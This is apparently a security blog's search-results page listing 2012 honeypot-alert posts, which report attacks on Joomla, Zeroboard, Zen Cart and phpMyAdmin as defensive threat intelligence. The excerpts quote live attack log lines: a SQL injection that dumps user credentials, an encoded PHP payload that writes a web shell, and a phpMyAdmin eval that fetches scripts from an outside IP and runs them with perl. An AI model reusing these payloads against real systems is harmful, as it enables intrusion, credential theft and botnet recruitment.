Showing 23 results for: 2012 ×[Honeypot Alert] ×

[Honeypot Alert] SQL Injection Scanning Targeting Joomla Plugins

The following SQL Injection attack payloads targeting Joomla components were identified in our web honeypot sensor logs: 91.213.96.32 - - [28/Nov/2012:11:31:04 +0100] "GET /index.php?option=com_joomgalaxy&view=categorylist&type=thumbnail&lang=en&catid=100000001-100000001=0 union (select 1,concat(0x26,0x26,0x26,0x25,0x25,0x25,username,0x3a,password,0x25,0x25,0x25,0x26,0x26,0x26),3,4,5,6,7,8,9,10,11,12,13+from+jos_users) HTTP/1.1" 400 299 "-" "-" 92.38.226.14 - - [28/Nov/2012:11:31:42 +0100] "GET /index.php?option=com_spidercalendar&date=999999.9' union...

[Honeypot Alert] User-Agent Field XSS Attacks

Our web honeypots picked up some more XSS attacks today: The highlighted data in the Apache access_log holds the User-Agent field token data from the request. In this case, the attacker has inserted some Javascript code that would use the...

[Honeypot Alert] Joomla com_s5clanroster Local File Inclusion Attacks

Our web honeypots picked up some increased scanning for the following Exploit-DB vulnerability: ================================================================================================================== [o] Joomla Component S5 Clan Roster Local File Inclusion Vulnerability Software : com_s5clanroster Vendor : http://www.shape5.com Author : AntiSecurity [ s4va Vrs-hCk NoGe OoN_BoY Paman zxvf...

[Honeypot Alert] Zeroboard now_connect() Remote Code Execution Attacks

Our web honeypots recently identified attacks for CVE-2009-4834 which is a vulnerability within Zeroboard: 123.140.193.150 - - [09/Apr/2012:20:11:19 +0900] "GET http://host_removed/admin/access_log/lib.php?REMOTE_ADDR=*/fputs(fopen(chr(46).chr(47).chr(115).chr(104).chr(101).chr(108).chr(108).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(32).chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(36).chr(99).chr(109).chr(100).chr(41).chr(59).chr(32).chr(63).chr(62));/*&HTTP_SESSION_VARS[zb_last_connect_check]=a&HTTP_SERVER_VARS=1&HTTP_ENV_VARS=1 HTTP/1.1" 404 304 123.140.193.150 - - [09/Apr/2012:20:11:23 +0900] "GET http://host_removed/zboard.php?id=test/lib.php?REMOTE_ADDR=*/fputs(fopen(chr(46).chr(47).chr(115).chr(104).chr(101).chr(108).chr(108).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(32).chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(36).chr(99).chr(109).chr(100).chr(41).chr(59).chr(32).chr(63).chr(62));/*&HTTP_SESSION_VARS[zb_last_connect_check]=a&HTTP_SERVER_VARS=1&HTTP_ENV_VARS=1 HTTP/1.1" 404 290 123.140.193.150 - - [09/Apr/2012:20:11:27 +0900] "GET...

[Honeypot Alert] Zen Cart 'admin/sqlpatch.php' SQL Injection Attacks

Our web honeypot sensors picked up attacks aimed at exploiting a Zen Cart SQL Injection vulnerability. The attacks send a POST request to the following URLs: POST /admin/sqlpatch.php/password_forgotten.php?action=execute POST /black_market/admin/sqlpatch.php/password_forgotten.php?action=execute POST /cart/admin/sqlpatch.php/password_forgotten.php?action=execute POST /product_info.php/products_id/1658/admin/sqlpatch.php/password_forgotten.php?action=execute POST /shop/admin/sqlpatch.php/password_forgotten.php?action=execute POST /shopping/admin/sqlpatch.php/password_forgotten.php?action=execute POST /store/admin/sqlpatch.php/password_forgotten.php?action=execute...

[Honeypot Alert] Status Report for February 2012

Monthly Web Honeypot Status Report We have received a tremendous amount of positive feedback on our web-based honeypot alert blog posts. While we agree that this data is useful for raising awareness of individual attack details, we feel that what...

[Honeypot Alert] phpMyAdmin Code Injection Attacks for Botnet Recruitment

Our web honeypots picked up the following attacks today: 62.149.12.62 - - [21/Feb/2012:04:25:55 -0600] "GET /mysql//config.sample.inc.php?eval=system('echo cd /tmp;wget http://199.115.228.9/vp.txt -O p2.txt;curl -O http://199.115.228.9/vp.txt; mv vp.txt d.txt;lyxn -DUMP http://199.115.228.9/vp.txt >p3.txt;perl d.txt; perl p2.txt;perl p3.txt;rm -rf *.txt'); HTTP/1.1" 404 226 "-" "curl/7.19.7...

WASC Distributed Web Honeypots Project Update

As the WASC Distributed Web Honeypots Project Sponsor, we are excited to announce that we have officially launched the next phase of the project! If you would like to participate, please read below. Project Overview The goal of the Distributed...

[Honeypot Alert] Status Report for January 2012

Monthly Web Honeypot Status Report We have received a tremendous amount of positive feedback on our web-based honeypot alert blog posts. While we agree that this data is useful for raising awareness of individual attack details, we feel that what...

[Honeypot Alert] Simple Page Options Module for Joomla! Local File Inclusion Attack Detected

Our web honeypots generated the following ModSecurity alert today: [Thu Jan 19 17:55:55 2012] [error] [client 218.145.160.100] ModSecurity: Warning. Pattern match ".*" at TX:950103-WEB_ATTACK/DIR_TRAVERSAL-ARGS:spo_site_lang. [file "/usr/local/apache/conf/crs/base_rules/modsecurity_slr_46_lfi_attacks.conf"] [line "6379"] [id "2074201"] [rev "011712"] [msg "SLR: Simple Page Options Module for Joomla!...

[Honeypot Alert] phpMyAdmin Superglobal Session Manipulation Attack Detected

Our web honeypots have identified attempts to exploit CVE-2011-2505. OSVDB lists the vulnerabilty as - phpMyAdmin libraries/auth/swekey/swekey.auth.lib.php Swekey_login() Function Superglobal Session Manipulation Arbitrary PHP Code Execution. Vulnerability Details The vulnerability lies within the following code snippet of the libraries /auth/swekey/swekey.auth.lib.php...